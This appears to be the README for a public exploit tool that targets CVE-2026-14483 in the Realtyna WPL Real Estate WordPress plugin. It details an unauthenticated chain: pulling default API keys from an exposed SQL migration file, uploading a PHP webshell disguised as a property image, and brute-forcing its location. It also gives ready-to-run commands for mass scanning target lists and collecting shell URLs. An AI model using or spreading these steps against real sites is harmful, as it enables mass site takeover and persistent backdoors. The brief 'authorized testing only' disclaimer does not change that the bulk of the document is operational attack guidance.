# CVE-2026-14483 — WPL Real Estate RCE

Unauthenticated remote code execution against the **Realtyna WPL Real Estate Listing** WordPress plugin.

| Field | Detail |
|---|---|
| **CVE** | CVE-2026-14483 |
| **Affected version** | `<= 5.2.0` |
| **Plugin** | `real-estate-listing-realtyna-wpl` |
| **Impact** | Unauthenticated PHP webshell upload (RCE) |
| **Script** | `CVE-2026-14483.py` |
| **Author** | MADEXPLOITS |

> By default the script **only** exploits targets running WPL **5.2.0**. Use `--force` to override.


## IMAGE
<img src="https://raw.githubusercontent.com/MadExploits/CVE-2026-14483/refs/heads/main/Screenshot%202026-08-02%20023215.png">



---

## Vulnerability summary

1. **Credential leak** — Default `api_key` / `api_secret` are exposed via a public SQL migration dump.
2. **Unauthenticated upload** — Those credentials authenticate the WPL I/O API (`set_property`), allowing a crafted PHP file to be uploaded as a property image.
3. **Webshell discovery** — The uploaded shell is located under `wp-content/uploads/WPL/{property_id}/`.

---

## Requirements

```bash
pip install requests colorama
```

- Python 3.8+
- Network access to the target(s)

---

## Usage

### Target list

Create a text file with one base URL per line:

```text
http://wplab.test
https://example.com
```

### Basic run

```bash
python CVE-2026-14483.py --targets targets.txt
```

Successful shell URLs are appended to `result.txt` (or `--output`).

### Full options

```bash
python CVE-2026-14483.py \
  --targets targets.txt \
  --output result.txt \
  --user-id 1 \
  --max-id 1000 \
  --timeout 30 \
  --threads 5 \
  --debug \
  --force
```

| Argument | Default | Description |
|---|---|---|
| `--targets` | *(required)* | File with base URLs (one per line) |
| `--output` | `result.txt` | File to append found shell URLs |
| `--user-id` | `1` | WordPress / WPL user ID that owns the new property |
| `--payload` | built-in upload shell | Custom PHP payload string |
| `--max-id` | `1000` | Max property ID to brute-force when locating the shell |
| `--timeout` | `30` | HTTP timeout in seconds |
| `--threads` | `5` | Concurrent worker threads |
| `--debug` | off | Verbose debug logging |
| `--force` | off | Exploit even if version ≠ 5.2.0 or version cannot be detected |

---

## Exploit flow

```
Target URL
    │
    ▼
Detect WPL version (readme.txt / wpl.php)
    │  skip unless == 5.2.0 (or --force)
    ▼
Fetch api_key + api_secret from:
  /wp-content/plugins/real-estate-listing-realtyna-wpl/assets/migrations/basic/1.0.0.sql
    │
    ▼
POST set_property via WPL I/O API
  (upload image_0x89MADEXPLOITS.php as image/jpeg)
    │
    ▼
Brute-force property ID 1..max-id
  /wp-content/uploads/WPL/{id}/0x89MADEXPLOITS.php
    │
    ▼
Write shell URL → output file
```

Default shell marker: `MADEXPLOITS`  
Default remote filename: `0x89MADEXPLOITS.php`

---

## Examples

**Single lab target (this workspace):**

```bash
echo http://wplab.test > targets.txt
python CVE-2026-14483.py --targets targets.txt --debug
```

**Mass scan with higher concurrency:**

```bash
python CVE-2026-14483.py --targets targets.txt --threads 20 --output shells.txt
```

**Force exploit when version check fails:**

```bash
python CVE-2026-14483.py --targets targets.txt --force
```

---

## Output

```
[+] Shell found: http://target/wp-content/uploads/WPL/32/0x89MADEXPLOITS.php
[*] Progress: 1/1 | Found: 1
[+] Done. Found 1 shell(s). Check 'result.txt' for URLs.
```

`result.txt` contains one shell URL per line.

---

## Notes

- Version is read from `Stable tag:` / `Version:` in the plugin `readme.txt`, with fallback to `wpl.php`.
- If the shell is not found after upload, raise `--max-id`.
- Intended for authorized security testing / local lab use only.